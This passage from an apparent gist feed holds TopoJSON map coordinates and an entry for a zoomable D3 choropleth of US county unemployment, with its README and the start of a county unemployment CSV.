quot;id&quot;:48000,&quot;arcs&quot;:[[-53,-118,190,-166,-181]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:49000,&quot;arcs&quot;:[[191,-63,-49,-157,-88]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:50000,&quot;arcs&quot;:[[-160,-134,-168,192]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:51000,&quot;arcs&quot;:[[[-127,-73,-126,193,-175,-190,-112,194]],[[195,-124]]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53000,&quot;arcs&quot;:[[[-91,-183,196]],[[197]],[[198]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:54000,&quot;arcs&quot;:[[-184,-128,-195,-111,-179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55000,&quot;arcs&quot;:[[-139,199,-93,-103,-142,200]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:56000,&quot;arcs&quot;:[[-189,-155,-64,-192,-87,-153]]}]}},&quot;arcs&quot;:[[[2632,3060],[5,-164],[7,-242],[4,-53],[3,-30],[-2,-19],[4,-11],[-5,-25],[0,-24],[-2,-32],[2,-57],[-2,-51],[3,-52]],[[2649,2300],[-14,-1],[-59,0],[-1,-25],[6,-37],[-1,-31],[2,-16],[-4,-28]],[[2578,2162],[-4,-6],[-7,31],[-1,47],[-2,6],[-3,-36],[-1,-34],[-7,9]],[[2553,2179],[-2,291],[6,363],[4,209],[-3,20]],[[2558,3062],[24,1],[50,-3]],[[1324,6901],[1,32],[6,-19],[-1,-32],[-8,4],[2,15]],[[1317,6960],[5,-23],[-3,-33],[-2,11],[0,45]],[[1285,7153],[6,5],[3,-8],[-1,-28],[-6,-6],[-5,17],[3,20]],[[1267,7137],[12,-7],[3,-36],[13,-41],[4,-25],[0,-21],[3,-4],[1,-27],[5,-27],[0,-25],[3,8],[2,-19],[1,-74],[-3,-17],[-7,3],[-3,38],[-2,-3],[-6,28],[-2,-10],[-5,10],[1,-28],[5,7],[3,-10],[-2,-39],[-5,4],[-9,49],[-2,25],[1,26],[-7,-2],[0,20],[5,2],[5,18],[-2,31],[-6,7],[-1,50],[-2,25],[-4,-18],[-2,28],[4,14],[-3,32],[2,8]],[[1263,6985],[5,-12],[4,15],[4,-7],[-4,-28],[-6,8],[-3,24]],[[1258,7247],[-4,19],[5,13],[15,-18],[7,1],[5,-36],[9,-29],[-1,-22],[-5,-11],[-6,5],[-5,-14],[-6,9],[-7,-9],[-1,45],[0,30],[-5,1],[-1,16]],[[1252,7162],[-4,14],[-4,32],[0,24],[3,11],[4,-11],[0,20],[12,-35],[1,-33],[-4,-5],[-3,-37],[3,-11],[-3,-43],[-5,9],[0,-27],[-3,13],[-2,54],[5,25]],[[1237,7124],[-1,-22],[-4,13],[-10,84],[-7,25],[3,20],[-3,48],[-8,39],[8,38],[3,-16],[7,-13],[6,-2],[0,-30],[6,-99],[0,-85]],[[1235,7494],[10,-15],[5,2],[0,-14],[8,-52],[-5,8],[-2,-18],[6,-27],[2,-48],[-6,-13],[-2,-16],[-10,-35],[-3,1],[-1,37],[2,22],[-1,32],[-3,40],[0,21],[-2,51],[-4,22],[-1,38],[7,-36]],[[1203,7324],[4,0],[4,-35],[-2,-24],[-6,-5],[1,38],[-1,26]],[[1191,7491],[8,-1],[6,17],[8,-23],[-5,-26],[2,-9],[4,28],[10,-9],[5,-21],[-3,-38],[3,-3],[3,-50],[-7,-7],[-14,41],[0,-42],[-4,-17],[-5,7],[-3,26],[-6,18],[-5,37],[-6,17],[1,30],[4,10],[1,26],[3,-11]],[[883,7871],[-12,-48],[-1,-19],[-9,-12],[2,29],[10,30],[7,34],[3,-14]],[[870,7943],[-2,-39],[-4,-41],[-6,14],[5,47],[7,19]],[[863,9788],[3,-8],[15,-9],[8,5],[10,0],[12,-7],[7,4],[7,-15],[12,-18],[16,-4],[5,10],[11,6],[4,14],[12,2],[0,-9],[7,5],[15,-15],[9,-24],[10,-11],[2,-11],[8,-2],[8,-18],[1,-11],[5,9],[6,-7],[0,-1783],[13,-16],[2,17],[14,-24],[8,30],[18,4],[-3,-52],[4,-17],[10,-17],[2,-27],[29,-101],[4,-63],[6,17],[12,31],[7,1],[3,23],[0,34],[5,0],[1,31],[9,7],[13,26],[13,-45],[-1,-27],[3,-27],[7,-7],[10,-40],[-1,-12],[4,-22],[12,-25],[19,-110],[3,-29],[6,-29],[8,-65],[9,-55],[-3,-23],[9,-9],[-2,-33],[7,-14],[1,-38],[7,2],[14,-40],[9,-7],[5,-19],[4,-5],[1,-19],[9,-5],[3,-23],[-4,-43],[1,-36],[4,-58],[-3,-15],[-7,-53],[-10,-39],[-3,20],[-4,-6],[-3,39],[1,17],[-3,20],[7,21],[-2,7],[-7,-26],[-3,17],[-4,-10],[-12,42],[4,46],[-8,-15],[0,-23],[-6,17],[-1,22],[4,24],[-1,24],[-6,-19],[-6,42],[-3,-8],[-2,36],[5,23],[6,0],[-2,28],[3,36],[-5,-1],[-9,32],[-6,37],[-15,27],[0,77],[-4,9],[1,31],[-5,9],[-8,42],[-2,22],[-12,7],[-14,56],[-6,132],[-3,-30],[1,-27],[6,-53],[-1,-8],[3,-43],[0,-28],[-6,6],[-4,31],[-6,6],[-8,-9],[0,45],[-5,38],[-4,-12],[-18,40],[-2,-11],[10,-13],[7,-31],[3,-1],[1,-25],[4,-30],[-10,-16],[-5,10],[0,-26],[-8,20],[-2,14],[-5,0],[-13,38],[-10,33],[0,20],[-6,30],[-14,21],[-9,21],[-14,26],[-9,24],[1,26],[2,-9],[3,17],[-3,38],[4,21],[-2,9],[-7,-40],[-14,-26],[-18,10],[-14,24],[-1,18],[-7,-4],[-7,14],[-17,12],[-9,1],[-21,-10],[-8,-7],[-10,27],[-12,12],[-3,17],[-2,28],[-8,-2],[-3,-25],[-15,34],[-2,14],[-15,-27],[-7,-32],[-3,30],[3,17],[4,-5],[14,22],[-2,17],[-6,-8],[-3,22],[-6,3],[-6,55],[-3,-13],[-8,-8],[-3,8],[-3,-18],[-11,6],[-1,-20],[-7,-5],[-3,7],[2,36],[-3,-1],[-5,-38],[7,-12],[1,-27],[4,-30],[-3,-31],[-5,10],[-2,-15],[6,-7],[3,-41],[-8,-9],[-4,9],[-7,-12],[-3,10],[-9,-2],[0,16],[-4,-10],[-3,-20],[-3,18],[-5,-25],[2,-12],[-6,-15],[-6,-2],[-3,-20],[-6,-17],[-4,6],[-5,-21],[-4,1],[-8,-43],[-9,-3],[-3,14],[-5,-23],[-11,17],[2,33],[8,11],[4,-2],[2,13],[8,25],[0,21],[-11,-28],[-9,16],[-1,12],[5,48],[8,34],[1,29],[2,5],[1,30],[-4,34],[10,12],[19,48],[4,-19],[6,-5],[9,20],[-10,26],[-4,20],[-7,-2],[-5,9],[-2,-8],[-9,-14],[-4,-26],[-9,-6],[-9,-30],[-1,-20],[-7,-11],[-2,-22],[-5,-13],[-2,-39],[-10,-25],[5,-20],[-4,-29],[-9,-5],[-1,-38],[-8,-13],[-3,15],[-4,-29],[-5,-1],[1,-21],[-11,-13],[-2,-57],[12,-3],[10,-16],[3,-19],[-4,-30],[-7,-19],[-6,-1],[0,-17],[-4,-6],[1,-21],[-4,-31],[-9,-29],[-5,0],[-5,-11],[-5,2],[-3,-11],[1,-16],[-7,-8],[-2,-23],[-5,14],[-5,-45],[-9,4],[1,-24],[-6,6],[-3,-11],[0,-32],[-6,-50],[-10,-6],[-7,-23],[-2,-13],[-5,18],[-8,-48],[-2,13],[-5,-4],[-1,-27],[-5,-10],[-6,4],[-4,-27],[8,-9],[-9,-60],[-25,-20],[-6,-54],[-2,12],[1,33],[-5,6],[-6,-13],[-1,-14],[-10,-22],[-4,-25],[-1,18],[-2,-21],[-6,14],[-10,-33],[-8,2],[1,25],[-4,24],[-3,-20],[1,-21],[-11,-64],[-3,16],[-1,-24],[-8,4],[-1,38],[-4,8],[-2,-14],[4,-16],[-2,-27],[-5,-13],[-5,29],[-5,2],[-1,-11],[5,-17],[-9,-27],[6,-7],[0,-13],[-5,9],[-7,-25],[-15,1],[-7,-16],[0,-13],[-8,-15],[-6,6],[-2,35],[6,12],[4,43],[6,1],[13,28],[10,1],[4,-27],[3,20],[-1,23],[6,10],[7,0],[8,50],[10,45],[12,40],[15,18],[6,-9],[6,12],[1,-17],[-3,-19],[4,-14],[1,23],[7,2],[2,-15],[5,-5],[0,18],[-8,15],[0,11],[5,49],[6,28],[9,27],[15,24],[10,35],[5,-13],[4,5],[-1,22],[1,21],[8,44],[11,28],[8,38],[0,21],[7,148],[11,40],[-1,31],[-27,-45],[-8,6],[-2,18],[-5,9],[-1,21],[-4,-10],[-3,-32],[5,-41],[-6,-18],[-5,7],[-9,64],[-6,33],[-4,0],[-2,-24],[-3,-4],[-4,19],[-5,4],[-2,32],[-16,-37],[-13,-26],[-1,-14],[-11,-22],[-6,20],[5,23],[-1,54],[-4,57],[7,24],[-6,49],[-5,27],[-4,39],[-6,17],[-2,-34],[-7,-8],[-12,-22],[-14,-9],[-7,2],[-7,12],[-1,30],[-5,9],[-9,42],[-8,8],[-8,46],[6,21],[1,39],[-5,-8],[0,24],[2,19],[-6,18],[0,-19],[-7,8],[-1,32],[-6,4],[-3,22],[0,27],[-5,-12],[-1,26],[7,6],[-6,30],[10,2],[0,35],[2,24],[18,77],[4,23],[3,-5],[-2,33],[7,55],[6,22],[11,9],[8,-9],[12,-33],[8,4],[11,32],[11,49],[6,6],[1,-13],[13,0],[12,10],[11,52],[0,12],[-5,48],[-1,28],[-8,31],[-3,26],[8,-7],[8,22],[0,20],[-10,39],[-8,-30],[-7,5],[-6,-17],[-8,-4],[-2,-11],[-9,-17],[-2,-28],[-5,-12],[-2,34],[-5,7],[-4,-26],[-2,12],[-10,19],[-20,-1],[-14,-21],[-6,-3],[-11,13],[-22,14],[-6,12],[-3,19],[2,26],[-8,22],[2,24],[5,12],[-2,31],[-8,0],[-6,8],[-13,6],[-7,16],[-10,16],[-1,19],[16,27],[20,43],[15,27],[8,-15],[8,-3],[2,21],[-5,3],[-1,18],[20,29],[22,22],[12,2],[7,-7],[-4,-32],[2,-22],[-3,-15],[4,-26],[8,5],[10,-5],[11,6],[4,-10],[7,-2],[7,10],[8,-11],[9,42],[5,2],[5,-8],[2,24],[-12,11],[-11,-9],[1,31],[-8,34],[-10,10],[-2,30],[7,8],[9,-31],[-1,-24],[4,-18],[10,-22],[2,23],[-11,30],[5,54],[-4,10],[-11,-12],[-11,3],[-2,10],[-6,-10],[-24,23],[0,24],[-7,54],[-6,19],[-9,17],[-19,46],[-9,18],[-8,4],[-13,31],[-12,18],[-1,6],[9,10],[4,29],[1,59],[25,-4],[31,13],[8,11],[12,29],[12,45],[3,45],[5,38],[10,33],[5,24],[13,38],[2,-10],[11,-3],[16,20],[10,21],[24,64],[9,4],[1,-10],[9,7],[9,-2],[18,9],[17,28],[17,58],[7,13],[2,-10],[26,-24],[2,-17],[-9,-22],[-4,-1],[0,-29],[14,9],[0,16],[6,14],[2,-8],[5,33],[13,-30],[-2,-23],[8,-6],[5,-14],[7,22],[13,1],[7,7],[18,-7],[10,-8],[-5,-45],[17,-12],[2,-11],[16,-20],[1,9],[12,13],[11,-1],[0,-11],[7,-1],[7,15],[11,2],[9,-6],[11,-16],[5,3],[7,-22],[4,9],[7,-7],[5,-13]],[[717,7456],[-1,-8],[-9,13],[7,49],[6,4],[4,45],[5,-40],[4,14],[8,-22],[0,-31],[-11,-4],[-5,-13],[-8,-7]],[[688,7363],[8,25],[-8,6],[0,22],[6,14],[5,-10],[0,-22],[3,15],[0,32],[5,-15],[1,21],[5,-12],[5,0],[5,11],[7,-20],[0,-55],[9,4],[-6,-37],[-11,15],[4,-24],[-3,-20],[-6,10],[0,-38],[-8,-10],[-3,-16],[-5,15],[-6,-40],[-4,-4],[-5,-18],[-2,43],[-6,-23],[-1,13],[-6,14],[0,39],[-6,15],[4,45],[11,28],[7,-2],[1,-21]],[[671,7185],[-6,-39],[-2,6],[8,33]],[[640,7055],[4,-2],[-1,-40],[-8,6],[-1,13],[6,23]],[[519,6933],[-2,-41],[-9,-33],[5,51],[2,-5],[4,28]],[[501,6947],[5,0],[0,-20],[-5,-23],[-5,15],[-3,-14],[-2,35],[2,12],[8,-5]],[[451,6875],[1,-16],[-3,-11],[-3,18],[5,9]],[[447,8527],[-4,-19],[-2,16],[6,3]],[[436,6781],[6,-7],[-1,-16],[-5,1],[0,22]],[[358,6745],[2,-22],[-5,-10],[-1,23],[4,9]],[[352,6718],[-8,-21],[-2,14],[3,19],[7,-12]],[[335,7902],[6,7],[2,-14],[5,3],[6,-12],[1,-54],[-3,-18],[-7,-11],[-2,-18],[-11,20],[-5,-1],[-10,28],[-4,0],[-6,15],[-2,25],[3,7],[10,-7],[5,20],[6,2],[2,14],[4,-6]],[[334,6690],[5,-14],[-10,-36],[1,-6],[12,26],[0,-15],[-5,-17],[-8,-12],[-1,-18],[-8,-18],[-7,-1],[-5,-18],[-9,-16],[-5,17],[9,20],[3,-3],[8,16],[-2,19],[4,20],[6,-9],[1,12],[-7,4],[-4,14],[4,23],[11,13],[2,-26],[5,25]],[[266,6527],[10,37],[1,16],[4,17],[7,9],[3,-10],[2,-25],[-13,-27],[-6,-40],[-5,-13],[-3,36]],[[238,6477],[2,-19],[-8,-1],[-1,13],[7,7]],[[227,7303],[-4,-18],[-1,18],[5,0]],[[212,6440],[2,-18],[-5,-13],[-1,19],[4,12]],[[182,8542],[22,-28],[13,24],[6,-2],[5,-14],[2,-23],[11,-12],[4,-12],[15,-5],[9,-8],[-5,-28],[-7,6],[-8,-5],[-4,-13],[-4,-28],[-5,26],[-6,18],[-6,2],[-3,20],[-15,25],[-6,1],[-11,-22],[-7,11],[-4,23],[4,44]],[[162,6381],[0,-22],[-5,-4],[1,19],[4,7]],[[128,6335],[4,-8],[10,1],[1,-7],[-13,-9],[-2,23]],[[108,6360],[0,19],[4,7],[6,-19],[-2,-17],[-4,1],[1,-20],[-5,-2],[-12,-21],[-6,6],[2,15],[7,-2],[9,33]],[[47,6279],[5,3],[0,-24],[-6,3],[-8,-28],[-4,37],[4,1],[0,29],[5,1],[0,-21],[4,-1]],[[28,6296],[3,-9],[-2,-32],[-5,-10],[0,20],[4,31]],[[0,6291],[5,-1],[4,-23],[-4,-27],[-5,51]],[[9993,6496],[6,-13],[0,-19],[-11,-12],[-8,31],[0,15],[13,-2]],[[1966,3444],[-1,-1081]],[[1965,2363],[-57,0],[-34,71],[-73,150],[3,43]],[[1804,2627],[6,8],[1,16],[-1,36],[-4,1],[-2,71],[6,27],[0,28],[-1,45],[4,34],[4,12],[4,25],[-6,27],[-4,51],[-5,31],[0,24]],[[1806,3063],[2,26],[0,36],[-3,36],[-2,112],[11,7],[3,-23],[3,1],[3,33],[0,153]],[[1823,3444],[101,2],[42,-2]],[[2515,3253],[-1,-35],[-4,-11],[-1,-29],[-5,-31],[0,-46],[-3,-34],[-3,-5]],[[2498,3062],[2,-17],[-4,-14],[-2,-33],[-3,-8],[0,-38],[-5,-10],[0,-13],[-6,-31],[2,-21],[-5,-30],[-5,-59],[5,-25],[-2,-16],[1,-39],[-2,-26]],[[2474,2682],[-69,3],[-13,0]],[[2392,2685],[0,101],[-4,8],[-5,-9],[-3,18]],[[2380,2803],[1,335],[-5,211]],[[2376,3349],[4,0],[123,-1],[2,-36],[-4,-23],[-4,-36],[18,0]],[[1654,4398],[0,-331],[0,-241],[36,-171],[35,-169],[27,-137],[20,-101],[34,-185]],[[1804,2627],[-38,-18],[-30,-16],[-4,25],[0,40],[-2,47],[-4,33],[-9,46],[-12,43],[-2,-12],[-4,8],[1,18],[-5,39],[-7,-8],[-12,28],[-2,23],[-8,28],[-9,-1],[-7,13],[-10,-6],[-5,26],[1,53],[-1,8],[1,38],[-8,28],[0,39],[-3,2],[-4,33],[-4,8],[-1,20],[-11,79],[-5,23],[-1,62],[2,-6],[2,37],[-4,33],[-5,-4],[-7,30],[-2,24],[0,23],[-3,31],[0,50],[5,0],[-2,70],[-2,-7],[-1,-35],[-5,-7],[-7,26],[-1,45],[-4,35],[-6,22],[-3,25],[-9,50],[2,14],[-4,64],[2,35],[-3,54],[-7,52],[-7,29],[-2,35],[7,83],[2,29],[-2,22],[3,57],[-2,52],[-3,13],[1,42]],[[1534,4399],[28,1],[24,1],[38,-3],[30,0]],[[2107,4208],[57,0],[0,-191]],[[2164,4017],[1,-574]],[[2165,3443],[-28,1]],[[2137,3444],[-38,-1],[-72,0],[-15,1],[-46,0]],[[1966,3444],[0,223],[-1,21],[0,162],[0,357]],[[1965,4207],[32,1],[63,-1],[47,1]],[[3025,4400],[0,-113],[-2,-18]],[[3023,4269],[-2,3],[-12,-14],[-15,4],[-7,-26],[-7,-9],[-8,-22]],[[2972,4205],[-2,22],[7,21],[-2,16],[2,144]],[[2977,4408],[12,-2],[36,-3],[0,-3]],[[2922,3980],[-2,-23]],[[2920,3957],[-3,-13],[0,-30],[5,-29],[1,-47],[6,-49],[3,-2],[1,-66]],[[2933,3721],[-19,3],[-2,240]],[[2912,3964],[5,21],[5,-5]],[[2876,3786],[-2,27]],[[2874,3813],[2,12],[4,-19],[-4,-20]],[[2649,2300],[4,-55],[39,-13],[37,-14],[1,-41],[4,1],[1,39],[-1,35],[2,15],[7,-16],[8,-7]],[[2751,2244],[1,-83],[4,-93],[8,-122],[13,-131],[-2,-9],[1,-61],[5,-68],[8,-137],[2,-42],[0,-44],[-3,-158],[-3,-3],[-3,-49],[1,-16],[-5,-36],[-2,9],[-6,-15],[-9,-8],[-2,20],[1,29],[-7,85],[-5,15],[-4,-11],[-3,47],[-1,38],[-6,43],[-2,28],[1,41],[-3,8],[1,-24],[-3,-7],[-9,104],[-4,26],[9,76],[-6,-4],[-4,-24],[-3,38],[5,104],[1,87],[-4,21],[-1,28],[-5,6],[-7,46],[-5,19],[0,28],[-4,11],[-3,31],[-11,42],[-9,-10],[0,-29],[-3,5],[-12,-35],[-12,-9],[0,21],[-3,25],[-15,57],[-10,24],[-10,6],[-8,-4],[-17,-18]],[[2703,3063],[-6,-41],[0,-20],[9,-40],[3,3],[5,-42],[1,-22],[4,-40],[7,-24],[3,-35],[8,-33],[0,-22],[5,-35],[7,-29],[2,-32],[1,-40],[3,-14],[5,-51],[0,-33],[7,-16]],[[2767,2497],[-7,-65],[-2,-34],[-3,-29],[0,-30],[-3,-14],[-1,-81]],[[2632,3060],[37,1]],[[2669,3061],[20,-1],[14,3]],[[640,0],[-7,17],[-1,16],[1,43],[-5,73],[4,24],[2,34],[-2,22],[1,23],[8,-27],[9,-20],[5,-29],[0,-26],[8,-40],[-5,-34],[-8,-15],[-7,-25],[-3,-36]],[[613,397],[3,-26],[4,11],[9,-30],[-1,-27],[-9,-14],[-2,6],[-1,33],[-5,7],[-1,19],[3,21]],[[602,432],[-3,-20],[-7,0],[2,22],[8,-2]],[[574,525],[3,-45],[-2,-26],[-6,-5],[-4,54],[4,1],[5,21]],[[531,626],[3,-2],[2,-20],[-1,-28],[-4,-18],[-9,22],[1,31],[8,15]],[[1766,5734],[0,-195],[9,-54],[1,-52],[5,-23],[6,-8],[0,-14],[11,-51],[1,-21],[8,-20],[0,-12],[8,1],[-4,-71],[-1,-45],[3,-29],[-5,-21],[2,</code></pre><p><em>Truncated — <a href="https://gist.github.com/b2b7902aac884a4a5f41479b0b55c952">view the full gist</a>.</em></p>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Zoomable Choropleth D3 V3 - Queue removed]]></title>
      <link>https://gist.github.com/d8b87b4d3d74944be837e21f12ec0b7e</link>
      <guid isPermaLink="true">https://gist.github.com/d8b87b4d3d74944be837e21f12ec0b7e</guid>
      <pubDate>Wed, 21 Sep 2016 17:39:05 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2016-09-21T17:39:05.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>.block</code:filename>
        <code:language>Unknown</code:language>
        <code:size>25</code:size>
      </code:file>
      <code:file>
        <code:filename>README.md</code:filename>
        <code:language>Markdown</code:language>
        <code:size>3467</code:size>
      </code:file>
      <code:file>
        <code:filename>data.csv</code:filename>
        <code:language>CSV</code:language>
        <code:size>110666</code:size>
      </code:file>
      <code:file>
        <code:filename>index.html</code:filename>
        <code:language>HTML</code:language>
        <code:size>6158</code:size>
      </code:file>
      <code:file>
        <code:filename>us-counties.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>656701</code:size>
      </code:file>
      <code:file>
        <code:filename>us-states.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>27577</code:size>
      </code:file>
      <description><![CDATA[Zoomable Choropleth D3 V3 - Queue removed]]></description>
      <content:encoded><![CDATA[<h3>.block</h3><pre><code>license: mit
height: 600
</code></pre>
<h3>README.md</h3><pre><code class="language-markdown">Block-a-Day #11. Clicking on a state zooms the map to that state and shows county-level data.

**Data Sources:** [BLS](http://www.bls.gov/lau/).

**What I Learned:** Trying out the new [_projection_.fitExtent()](https://github.com/d3/d3-geo#projection_fitExtent). In the process, learned about [adaptive resampling](http://bl.ocks.org/mbostock/3795544), which can break interpolation by changing the number of coordinates in a path at different zoom levels. Fixed the resulting bug by setting [_projection_.precision()](https://github.com/d3/d3-geo#projection_precision) to 0, effectively turning off resampling.

**What I&apos;d Do With More Time:** Finding a way to include Alaska and Hawaii is an obvious next step (albersUSA didn&apos;t immediately work with this technique). Could probably use more detailed county shapefiles.

## Block-a-Day

Just what it sounds like. For fifteen days, I will make a [D3.js v4](https://d3js.org) block every single day. Rules:

1. Ideas over implementation. Do something novel, don&apos;t sweat the details.
2. No more than two hours can be spent on coding (give or take).
3. Every. Single. Day.

### Previously

* [Map to Force-Directed Graph](https://bl.ocks.org/cmgiven/4cfa1a95f9b952622280a90138842b79)
* [Brushable Scatterplot/Choropleth](https://bl.ocks.org/cmgiven/abca90f6ba5f0a14c54d1eb952f8949c)
* [Treemap Bar Chart](https://bl.ocks.org/cmgiven/018fd027d443b177e18fffb9afcdb5bd)
* [Triangular Scatterplot](https://bl.ocks.org/cmgiven/a0f58034cea5331a814b30b74aacb8af)
* [Choropleth with Animated Stripes](http://bl.ocks.org/cmgiven/09140e2ac8119340048f62d1b241977e)
* [Collatz Conjecture](https://bl.ocks.org/cmgiven/231f779f9655025f38b5b4b828f3b7b0)
* [Bouncing Logo](https://bl.ocks.org/cmgiven/a325f14550a65dc8ff6898ef0f9feeb4)
* [Rectangular Collision Detection](https://bl.ocks.org/cmgiven/547658968d365bcc324f3e62e175709b)
* [Demers Catogram](https://bl.ocks.org/cmgiven/9d6bc46cf586738458c13dd2b5dadd84)
* [Gooey Exploding Scatterplot](https://bl.ocks.org/cmgiven/e5dfe0888968ee8c507f5469a4d62b6f)


forked from &lt;a href=&apos;http://bl.ocks.org/cmgiven/&apos;&gt;cmgiven&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/cmgiven/d39ec773c4f063a463137748097ff52f&apos;&gt;Zoomable Choropleth&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/anonymous/&apos;&gt;anonymous&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/anonymous/670b131bf0e22caa5c0901191edd89e1&apos;&gt;Zoomable Choropleth&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/anonymous/&apos;&gt;anonymous&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/anonymous/321222dc2bc719633f230301a0cf5105&apos;&gt;Zoomable Choropleth D3 V3&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/a9012e6300d13ec5249b8f5827430505&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/f41c371da87a76c88b768c67e382e3ad&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/1f1955af07b8a6b8280fa6a86b3bf033&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/78794dcae28394eec2215a1b7fb2bc24&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/867a7b513aa7edaf41dc798dd6be4d5a&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;</code></pre>
<h3>data.csv</h3><pre><code class="language-csv">state,county,name,unemployment
01,000,Alabama,0.061
01,001,&quot;Autauga County, AL&quot;,0.052
01,003,&quot;Baldwin County, AL&quot;,0.055
01,005,&quot;Barbour County, AL&quot;,0.089
01,007,&quot;Bibb County, AL&quot;,0.066
01,009,&quot;Blount County, AL&quot;,0.054
01,011,&quot;Bullock County, AL&quot;,0.078
01,013,&quot;Butler County, AL&quot;,0.075
01,015,&quot;Calhoun County, AL&quot;,0.07
01,017,&quot;Chambers County, AL&quot;,0.06
01,019,&quot;Cherokee County, AL&quot;,0.054
01,021,&quot;Chilton County, AL&quot;,0.057
01,023,&quot;Choctaw County, AL&quot;,0.091
01,025,&quot;Clarke County, AL&quot;,0.118
01,027,&quot;Clay County, AL&quot;,0.062
01,029,&quot;Cleburne County, AL&quot;,0.06
01,031,&quot;Coffee County, AL&quot;,0.059
01,033,&quot;Colbert County, AL&quot;,0.079
01,035,&quot;Conecuh County, AL&quot;,0.092
01,037,&quot;Coosa County, AL&quot;,0.067
01,039,&quot;Covington County, AL&quot;,0.071
01,041,&quot;Crenshaw County, AL&quot;,0.06
01,043,&quot;Cullman County, AL&quot;,0.053
01,045,&quot;Dale County, AL&quot;,0.064
01,047,&quot;Dallas County, AL&quot;,0.096
01,049,&quot;DeKalb County, AL&quot;,0.06
01,051,&quot;Elmore County, AL&quot;,0.051
01,053,&quot;Escambia County, AL&quot;,0.07
01,055,&quot;Etowah County, AL&quot;,0.061
01,057,&quot;Fayette County, AL&quot;,0.07
01,059,&quot;Franklin County, AL&quot;,0.064
01,061,&quot;Geneva County, AL&quot;,0.059
01,063,&quot;Greene County, AL&quot;,0.11
01,065,&quot;Hale County, AL&quot;,0.078
01,067,&quot;Henry County, AL&quot;,0.068
01,069,&quot;Houston County, AL&quot;,0.062
01,071,&quot;Jackson County, AL&quot;,0.066
01,073,&quot;Jefferson County, AL&quot;,0.058
01,075,&quot;Lamar County, AL&quot;,0.063
01,077,&quot;Lauderdale County, AL&quot;,0.069
01,079,&quot;Lawrence County, AL&quot;,0.077
01,081,&quot;Lee County, AL&quot;,0.051
01,083,&quot;Limestone County, AL&quot;,0.055
01,085,&quot;Lowndes County, AL&quot;,0.116
01,087,&quot;Macon County, AL&quot;,0.081
01,089,&quot;Madison County, AL&quot;,0.055
01,091,&quot;Marengo County, AL&quot;,0.077
01,093,&quot;Marion County, AL&quot;,0.07
01,095,&quot;Marshall County, AL&quot;,0.058
01,097,&quot;Mobile County, AL&quot;,0.07
01,099,&quot;Monroe County, AL&quot;,0.101
01,101,&quot;Montgomery County, AL&quot;,0.062
01,103,&quot;Morgan County, AL&quot;,0.058
01,105,&quot;Perry County, AL&quot;,0.1
01,107,&quot;Pickens County, AL&quot;,0.068
01,109,&quot;Pike County, AL&quot;,0.067
01,111,&quot;Randolph County, AL&quot;,0.059
01,113,&quot;Russell County, AL&quot;,0.06
01,115,&quot;St. Clair County, AL&quot;,0.052
01,117,&quot;Shelby County, AL&quot;,0.042
01,119,&quot;Sumter County, AL&quot;,0.08
01,121,&quot;Talladega County, AL&quot;,0.066
01,123,&quot;Tallapoosa County, AL&quot;,0.061
01,125,&quot;Tuscaloosa County, AL&quot;,0.055
01,127,&quot;Walker County, AL&quot;,0.072
01,129,&quot;Washington County, AL&quot;,0.089
01,131,&quot;Wilcox County, AL&quot;,0.147
01,133,&quot;Winston County, AL&quot;,0.076
02,000,Alaska,0.067
02,013,&quot;Aleutians East Borough, AK&quot;,0.032
02,016,&quot;Aleutians West Census Area, AK&quot;,0.038
02,020,&quot;Anchorage Borough/municipality, AK&quot;,0.05
02,050,&quot;Bethel Census Area, AK&quot;,0.144
02,060,&quot;Bristol Bay Borough, AK&quot;,0.092
02,068,&quot;Denali Borough, AK&quot;,0.087
02,070,&quot;Dillingham Census Area, AK&quot;,0.097
02,090,&quot;Fairbanks North Star Borough, AK&quot;,0.054
02,100,&quot;Haines Borough, AK&quot;,0.097
02,105,&quot;Hoonah-Angoon Census Area, AK&quot;,0.15
02,110,&quot;Juneau Borough/city, AK&quot;,0.046
02,122,&quot;Kenai Peninsula Borough, AK&quot;,0.078
02,130,&quot;Ketchikan Gateway Borough, AK&quot;,0.068
02,150,&quot;Kodiak Island Borough, AK&quot;,0.049
02,158,&quot;Kusilvak Census Area, AK&quot;,0.232
02,164,&quot;Lake and Peninsula Borough, AK&quot;,0.127
02,170,&quot;Matanuska-Susitna Borough, AK&quot;,0.078
02,180,&quot;Nome Census Area, AK&quot;,0.117
